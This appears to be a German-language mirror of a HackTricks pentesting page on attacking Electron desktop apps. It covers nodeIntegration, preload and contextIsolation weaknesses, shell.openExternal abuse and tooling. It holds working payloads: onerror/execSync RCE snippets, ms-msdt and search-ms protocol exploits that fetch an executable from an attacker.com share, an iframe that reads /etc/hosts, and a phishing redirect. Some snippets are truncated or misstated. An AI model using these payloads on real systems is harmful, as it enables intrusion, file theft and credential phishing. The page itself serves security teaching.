mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
318 lines
18 KiB
Markdown
318 lines
18 KiB
Markdown
# Electron Desktop Apps
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|
|
|
|
## Einführung
|
|
|
|
Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser nicht hat.
|
|
|
|
Normalerweise finden Sie den Code der Electron-App in einer `.asar`-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:
|
|
```bash
|
|
npx asar extract app.asar destfolder #Extract everything
|
|
npx asar extract-file app.asar main.js #Extract just a file
|
|
```
|
|
Im Quellcode einer Electron-App, innerhalb von `packet.json`, findest du die Angabe der `main.js`-Datei, in der Sicherheitskonfigurationen festgelegt sind.
|
|
```json
|
|
{
|
|
"name": "standard-notes",
|
|
"main": "./app/index.js",
|
|
```
|
|
Electron hat 2 Prozesstypen:
|
|
|
|
* Hauptprozess (hat vollen Zugriff auf NodeJS)
|
|
* Renderer-Prozess (sollte aus Sicherheitsgründen den Zugriff auf NodeJS einschränken)
|
|
|
|
 (5) (1).png>)
|
|
|
|
Ein **Renderer-Prozess** ist ein Browserfenster, das eine Datei lädt:
|
|
```javascript
|
|
const {BrowserWindow} = require('electron');
|
|
let win = new BrowserWindow();
|
|
|
|
//Open Renderer Process
|
|
win.loadURL(`file://path/to/index.html`);
|
|
```
|
|
Die Einstellungen des **Renderer-Prozesses** können im **Main-Prozess** in der Datei main.js konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Sicherheitslücken aufweist, wenn die Einstellungen korrekt konfiguriert sind.
|
|
|
|
Die Electron-Anwendung kann über Node-APIs auf das Gerät zugreifen, obwohl dies verhindert werden kann:
|
|
|
|
* **`nodeIntegration`** - standardmäßig deaktiviert. Wenn aktiviert, ermöglicht den Zugriff auf Node-Funktionen vom Renderer-Prozess aus.
|
|
* **`contextIsolation`** - standardmäßig aktiviert. Wenn aktiviert, sind Haupt- und Renderer-Prozesse nicht isoliert.
|
|
* **`preload`** - standardmäßig leer.
|
|
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - standardmäßig deaktiviert. Es beschränkt die Aktionen, die NodeJS ausführen kann.
|
|
* Node-Integration in Workern
|
|
* **`nodeIntegrationInSubframes`** - standardmäßig deaktiviert.
|
|
* Wenn **`nodeIntegration`** aktiviert ist, ermöglicht dies die Verwendung von Node.js-APIs in Webseiten, die in iframes innerhalb einer Electron-Anwendung geladen werden.
|
|
* Wenn **`nodeIntegration`** deaktiviert ist, werden Preloads im iframe geladen.
|
|
|
|
Beispielkonfiguration:
|
|
```javascript
|
|
const mainWindowOptions = {
|
|
title: 'Discord',
|
|
backgroundColor: getBackgroundColor(),
|
|
width: DEFAULT_WIDTH,
|
|
height: DEFAULT_HEIGHT,
|
|
minWidth: MIN_WIDTH,
|
|
minHeight: MIN_HEIGHT,
|
|
transparent: false,
|
|
frame: false,
|
|
resizable: true,
|
|
show: isVisible,
|
|
webPreferences: {
|
|
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
|
nodeIntegration: false,
|
|
contextIsolation: false,
|
|
sandbox: false,
|
|
nodeIntegrationInSubFrames: false,
|
|
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
|
nativeWindowOpen: true,
|
|
enableRemoteModule: false,
|
|
spellcheck: true
|
|
}
|
|
};
|
|
```
|
|
Einige **RCE-Payloads** von [hier](https://7as.es/electron/nodeIntegration\_rce.txt):
|
|
```html
|
|
Example Payloads (Windows):
|
|
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
|
|
|
|
Example Payloads (Linux & MacOS):
|
|
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
|
|
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
|
|
```
|
|
### Datenverkehr erfassen
|
|
|
|
Ändern Sie die Startkonfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:
|
|
```javascript
|
|
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
|
|
```
|
|
## Electron Lokale Code-Injektion
|
|
|
|
Wenn Sie lokal eine Electron-App ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie dies möglich ist:
|
|
|
|
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
|
|
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
|
{% endcontent-ref %}
|
|
|
|
## RCE: XSS + nodeIntegration
|
|
|
|
Wenn die **nodeIntegration** auf **on** gesetzt ist, kann der JavaScript-Code einer Webseite Node.js-Funktionen einfach durch Aufrufen von `require()` verwenden. Zum Beispiel ist der Weg, um die Rechneranwendung unter Windows auszuführen:
|
|
```html
|
|
<script>
|
|
require('child_process').exec('calc');
|
|
// or
|
|
top.require('child_process').exec('open /System/Applications/Calculator.app');
|
|
</script>
|
|
```
|
|
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## RCE: preload
|
|
|
|
Das in dieser Einstellung angegebene Skript wird **vor anderen Skripten im Renderer geladen**, daher hat es **uneingeschränkten Zugriff auf Node APIs**:
|
|
```javascript
|
|
new BrowserWindow{
|
|
webPreferences: {
|
|
nodeIntegration: false,
|
|
preload: _path2.default.join(__dirname, 'perload.js'),
|
|
}
|
|
});
|
|
```
|
|
Daher kann das Skript Node-Funktionen auf Seiten exportieren:
|
|
|
|
{% code title="preload.js" %}
|
|
```javascript
|
|
typeof require === 'function';
|
|
window.runCalc = function(){
|
|
require('child_process').exec('calc')
|
|
};
|
|
```
|
|
{% code title="index.html" %}
|
|
```html
|
|
<body>
|
|
<script>
|
|
typeof require === 'undefined';
|
|
runCalc();
|
|
</script>
|
|
</body>
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="info" %}
|
|
**Wenn `contextIsolation` aktiviert ist, funktioniert dies nicht**
|
|
{% endhint %}
|
|
|
|
## RCE: XSS + contextIsolation
|
|
|
|
Die _**contextIsolation**_ führt zu **getrennten Kontexten zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron**, sodass die Ausführung des JavaScript-Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.
|
|
|
|
Wenn die Kontexte nicht isoliert sind, kann ein Angreifer Folgendes tun:
|
|
|
|
1. Ausführung von **beliebigem JavaScript im Renderer** (XSS oder Navigation zu externen Websites)
|
|
2. **Überschreiben der integrierten Methode**, die in Preload-Code oder internem Electron-Code verwendet wird, um eine eigene Funktion zu besitzen
|
|
3. **Auslösen** der Verwendung der **überschriebenen Funktion**
|
|
4. RCE?
|
|
|
|
Es gibt 2 Stellen, an denen integrierte Methoden überschrieben werden können: Im Preload-Code oder im internen Electron-Code:
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
|
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
|
|
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
|
|
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Umgehung des Klickereignisses
|
|
|
|
Wenn Einschränkungen gelten, wenn Sie auf einen Link klicken, können Sie diese möglicherweise umgehen, indem Sie anstelle eines regulären Linksklicks einen **Mittelklick** ausführen.
|
|
```javascript
|
|
window.addEventListener('click', (e) => {
|
|
```
|
|
## RCE über shell.openExternal
|
|
|
|
Für weitere Informationen zu diesen Beispielen siehe [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
|
|
|
|
Bei der Bereitstellung einer Electron-Desktopanwendung ist es entscheidend, die richtigen Einstellungen für `nodeIntegration` und `contextIsolation` sicherzustellen. Es ist etabliert, dass die Ausführung von Remote-Code (RCE) auf der Client-Seite, die Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess zum Ziel hat, effektiv durch diese Einstellungen verhindert wird.
|
|
|
|
Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignislistener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
|
webContents.on("will-navigate", function (event, url) {}
|
|
```
|
|
Diese Listener werden von der Desktop-Anwendung **überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird in der Regel durch eine Funktion namens `openInternally` getroffen. Wenn diese Funktion `false` zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, indem die Funktion `shell.openExternal` verwendet wird.
|
|
|
|
**Hier ist ein vereinfachter Pseudocode:**
|
|
|
|
 (2) (1) (1).png>)
|
|
|
|
.png>)
|
|
|
|
Die Sicherheitsbewährungen von Electron JS raten davon ab, unvertrauenswürdigen Inhalt mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen könnte. Betriebssysteme unterstützen verschiedene Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann auf [diese Ressource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden, die Windows-Protokollbeispiele enthält, die diese Sicherheitslücke ausnutzen können.
|
|
|
|
**Beispiele für Windows-Protokollexploits sind:**
|
|
```html
|
|
<script>
|
|
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
|
|
</script>
|
|
|
|
<script>
|
|
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
|
|
</script>
|
|
|
|
<script>
|
|
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
|
|
</script>
|
|
```
|
|
## Lesen interner Dateien: XSS + contextIsolation
|
|
|
|
Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags, ähnlich wie `<iframe>`, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
|
|
|
|
|
|
|
|
Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dabei wird ein Skript eingefügt, um die Anwendung auszunutzen und Daten zu exfiltrieren:
|
|
```html
|
|
<br><BR><BR><BR>
|
|
<h1>pwn<br>
|
|
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
|
|
<script type="text/javascript">
|
|
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
|
|
</script>
|
|
```
|
|
## **RCE: XSS + Alte Chromium-Version**
|
|
|
|
Wenn die von der Anwendung verwendete **Chromium-Version** **veraltet** ist und bekannte **Sicherheitslücken** aufweist, könnte es möglich sein, diese auszunutzen und über XSS RCE zu erlangen.\
|
|
Ein Beispiel dafür finden Sie in diesem **Writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
|
|
|
## **XSS-Phishing über Umgehung der internen URL-Regex**
|
|
|
|
Angenommen, Sie haben eine XSS-Schwachstelle gefunden, können jedoch **keine RCE auslösen oder interne Dateien stehlen**, könnten Sie versuchen, diese zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.
|
|
|
|
Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:
|
|
```javascript
|
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
|
```
|
|
Der Aufruf von **`openInternally`** entscheidet, ob der **Link** im **Desktop-Fenster** geöffnet wird, da es sich um einen Link der Plattform handelt, **oder** ob er als **Ressource eines Drittanbieters im Browser geöffnet wird**.
|
|
|
|
Wenn das **Regex**, das von der Funktion verwendet wird, anfällig für Umgehungen ist (zum Beispiel durch **Nicht-Escapen der Punkte von Subdomains**), könnte ein Angreifer XSS missbrauchen, um ein **neues Fenster zu öffnen, das** sich in der Infrastruktur des Angreifers befindet und **Benutzeranmeldeinformationen anfordert**.
|
|
```html
|
|
<script>
|
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
|
</script>
|
|
```
|
|
## **Werkzeuge**
|
|
|
|
* [**Electronegativity**](https://github.com/doyensec/electronegativity) ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen.
|
|
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
|
|
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) zum Überprüfen von anfälligen Drittanbieter-Bibliotheken
|
|
* [**Electro.ng**](https://electro.ng/): Sie müssen es kaufen
|
|
|
|
## Labore
|
|
|
|
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) finden Sie ein Labor, um verwundbare Electron-Anwendungen auszunutzen.
|
|
|
|
Einige Befehle, die Ihnen bei dem Labor helfen werden:
|
|
```bash
|
|
# Download apps from these URls
|
|
# Vuln to nodeIntegration
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
|
|
# Vuln to contextIsolation via preload script
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
|
|
# Vuln to IPC Rce
|
|
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
|
|
|
|
# Get inside the electron app and check for vulnerabilities
|
|
npm audit
|
|
|
|
# How to use electronegativity
|
|
npm install @doyensec/electronegativity -g
|
|
electronegativity -i vulnerable1
|
|
|
|
# Run an application from source code
|
|
npm install -g electron
|
|
cd vulnerable1
|
|
npm install
|
|
npm start
|
|
```
|
|
## **Referenzen**
|
|
|
|
* [https://shabarkin.medium.com/unsicheres-inhaltsladen-in-electron-js-76296b6ac028](https://shabarkin.medium.com/unsicheres-inhaltsladen-in-electron-js-76296b6ac028)
|
|
* [https://medium.com/@renwa/arbiträres-dateilesen-in-der-facebook-messenger-desktop-app-db2374550f6d](https://medium.com/@renwa/arbiträres-dateilesen-in-der-facebook-messenger-desktop-app-db2374550f6d)
|
|
* [https://speakerdeck.com/masatokinugawa/electron-missbrauch-der-mangelnden-kontextisolierung-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-missbrauch-der-mangelnden-kontextisolierung-curecon-en?slide=8)
|
|
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
|
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
|
* Weitere Forschungen und Berichte über die Sicherheit von Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
|
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|